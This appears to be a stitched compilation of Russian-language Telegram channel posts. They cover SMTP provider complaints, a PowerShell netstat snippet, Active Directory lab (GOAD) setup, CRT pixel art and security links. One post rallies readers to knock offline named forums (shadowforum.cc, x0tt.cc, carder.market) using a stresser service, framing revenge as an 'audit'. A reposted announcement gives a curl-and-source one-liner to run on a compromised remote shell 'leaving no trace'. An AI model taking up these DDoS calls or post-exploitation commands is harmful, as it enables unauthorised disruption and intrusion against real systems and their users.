smtp для исходящих сообщений - главная проблема системного администратора.
Из-за злоумышленников, которые используют протокол с целью получения начального доступа, ddos, спама. Многие провайдеры выделенных серверов блокируют SMTP-порты 25, 465 и 587, а компании, которые предоставляют готовое smtp решение либо п****ы требуют номер телефона, ФИО, домашний адрес, фотку лица, фотку карточки с которой платил, мозги короче еб#т. Могут отказать в своем сервисе без объяснения причин, могут отказать за то что ты россиянин. Зарегистрироваться - это уже большая потеря времени, далее оплата заграничной картой, настройка dns записей. Пока разберешься с этим дерьмом всем на 1 сервис может уйти целый день. Вот список к кому обращаться нельзя:
proton - smtp только для компаний предоставляют. Поддержка долго отвечает, неделями возвращают мелочь. Подробнее https://t.me/mirea/187
zoho - недружелюбный интерфейс, неудобный сервис. Потратил время, понял, что пока разберусь уйдет еще больше времени.
mailgun - отказали в сервисе без объяснения причин. Скорее всего потому что у нас сервис российский. Товарищ говорил, что если все правильно сделать с чистого устройства, где страна номера телефона, карты с которой платишь, гео будет совпадать (РФ/СНГ не подойдет), то большая вероятность, что одобрят. Но дохуя чет хотят, проще с ними не работать. Настроишь все, а потом еще отъебнет что-то из-за их санкций.
gmail smtp - тут вообще все через задницу. Все неудобно, антифрод отработал запросили фотку лица и карточки. Никто помочь не смог, даже заново. Обращался к разным сервисам, которые оплачивают покупки заграницей.
smtp bz - отказали без объяснения причин.
Был провайдер у которого smtp.domain.com, mail.domain.com и еще поддержка TLS/SSL. Пздц мы с ними кучу времени въебали. Сначала проверили, что dns записи верны, пробовали настройку под SSL, потом под TLS. Я сидел на иностранных форумах читал, что американцы неправильно копируют и из-за этого ошибки, я себя тоже тупым начал считать, думал где-то пробел скопировал лишний))) Оказалось dns записи верные. Далее попробовали с веб морды отослать письма на yahoo, gmail, корп.почту тестовую. Все пришло. Выяснили, что по итогу провайдер сервера, где лежит бэкэнд сайта блокирует smtp, порты заблокированы. В любом случае под smtp должен быть отдельный сервер, нельзя все лепить на бэкэнд, так и появляются уязвимости. Подробнее:
Почему электронные письма легко подделать(подробнее про SPF, DKIM, DMARC)
Всё, что вы хотели знать об уязвимости Shellshock, но боялись спросить(IoT устройства в опасности, если bash устарел)
мощнейшие DDoS-атаки на Proton Mail / Защита от DDoS-атак для безопасной электронной почты
Mailgun and Heartbleed
Протокол SMTP, расширение STARTTLS и то, что не стоит поминать. Как работает шифрование, автор видеоролика показывает поэтапно, используя wireshark

Мы начинаем работу:) Люди уже выложили таргеты мошеннических форумов. Взяли с xss /threads/31024/ один из подписчиков руками собрал каждый таргет, отсортировал по доступности. Хотим вам напомнить, что это российский киберполигон, иностранцы тоже могут помогать, тренируйтесь. Главное не занимайтесь хуйней для бедных, не нужно трогать личную жизнь администраторов, неважно насколько они муд*ки. Лучше повышайте свой скилл, время правильно используйте. Кинули на деньги наших = выдали нам ордер на проведение аудита.
Таргеты берите отсюда: https://t.me/GreyHatChat/260

В первую очередь поиграемся с игрушкой stresser.cat админ этого сервиса уже в чате и поможет вам разобраться и объяснит как работает, какие настройки выставлять в зависимости от бэкэнда, клауда и т.д. Потом возможно поищем хороших вендоров, которые будут предоставлять для вас выделенные сервера, впны, прокси, чтобы можно было нормально копаться в вебе.

Специально для исследователей энтузиастов, багхантеров, вайхэтов, специалистов по информационной безопасности будем писать интересные статьи, отчеты, делиться опытом.

топ 3 таргета которые прям сейчас положим:
shadowforum.cc - мошеннический форум. Обманули ребят на 220$ (рекламный баннер не поставили, кинули в чс)
x0tt.cc - работа по СНГ/России. Заливы и прочая хуета.
carder.market - внесен в блеклист на xss. фейк давно закрытого форума CSU он же cpro Подделка \ Ripper (сообщает INC.)

Хотелось бы напомнить, что кто работает по РУ/СНГ у того нет финансов и знаний, чтобы создать безопасный форум. Поэтому это сейчас все ляжет. Пока можете ознакомиться.

#powershell сниппет для вывода netstat -ano + джойн по PID для вывода имени процесса:

Get-NetTCPConnection | ForEach-Object { New-Object PSObject -Property @{ LocalAddress = $_.LocalAddress; RemoteAddress = $_.RemoteAddress; State = $_.State; OwningProcessID = $_.OwningProcess; ProcessName = (Get-Process -Id $_.OwningProcess).ProcessName } } | Format-Table -AutoSize

Разверни на работе виртуалки прост

Вручную (если лень писать вагрант конфиг) разверни https://github.com/Orange-Cyberdefense/GOAD/blob/main/ad/GOAD/providers/virtualbox/Vagrantfile#L6 вот отсюда виртуалки с ОСками нужными

Далее на этих виртуалках прогнать https://github.com/D00Movenok/GOAD/blob/add-cloudru-provider/terraform/cloudru/user_data/cloudru-instance-init.ps1.tpl вот этот скрипт заменив ${username} на ansible, а ${password} на пароли отсюда https://github.com/D00Movenok/GOAD/blob/add-cloudru-provider/ad/GOAD/providers/cloudru/inventory (там у каждой виртуалки свой)

Далее тебе нужно прогнать по ним провизионинг (https://github.com/Orange-Cyberdefense/GOAD/blob/main/scripts/provisionning.sh#L15) указав в енвах нужную лабу (GOAD) и провайдера (я бы брал своего из форка CLOUD). Предварительно нужно подредачить в инвенторе файлике провайдера айпишники виртуалок (https://github.com/D00Movenok/GOAD/blob/add-cloudru-provider/ad/GOAD/providers/cloudru/inventory#L7), ну и ансибл юзер и пасс должны совпадать, предыдущий абзац об этом

Ну и раскатываться советую вот отсюда https://github.com/D00Movenok/GOAD/tree/add-cloudru-provider - мне пара багов в основной репе мешала раскатываться, я их починил, а форк пока не вмержили

Ну и норм варик просто написать провайдера под виртуализацию рабочую чтоб можно было не ручками переразворачивать))

😈 [ The Hacker's Choice (@thc@infosec.exchange) @hackerschoice ]

RELEASE:
This should be the 1st command you execute on a remote shell 🧨

source <(curl -SsfL https://thc.org/hs)

Makes the BASH hack-ready. Lots of neat commands + apt-like static binary download ('bin nmap', ...).

LEAVES NO TRACE (memory only).

🔗 https://github.com/hackerschoice/hackshell

🐥 [ tweet ]

https://www.datagubbe.se/crt/

Кстати очень классный текст про то, что современный pixel art - это совсем не то, потому что исходно эстетика pixel art появилась на CRT мониторах, и выглядела совсем иначе.

Подтверждаю, в 95 - 00 годах картинка выглядела совсем иначе, и пиксели совсем не раздражали глаз. Антиалиаснутые шрифты, по ощущениям, стали выглядеть примерно так же хорошо, как на тех самых старых CRT, ну, где-то при разрешении 4k.

Посмотреть на это вживую (ну, почти) можно, например, через https://www.dosbox-staging.org/ (это такой форк dosbox, который решил запариться насчет эмуляции CRT) (смотреть на скриншоты особого смысла нет, все равно их перемасштабируют в процессе доставки до глаз 100500 раз, и эффект пропадает).

😈 [ Logan Goins @shellph1sh ]

Created another write-up, this time on NTLM relay attacks to LDAP(S), including details of WebClient coercion, NTLM transport vulnerabilities, and finally device takeover after achieving authentication. You can read about it on my blog :)

🔗 https://logan-goins.com/2024-07-23-ldap-relay/

🐥 [ tweet ]

Oh Shit, Git!?!
https://ohshitgit.com/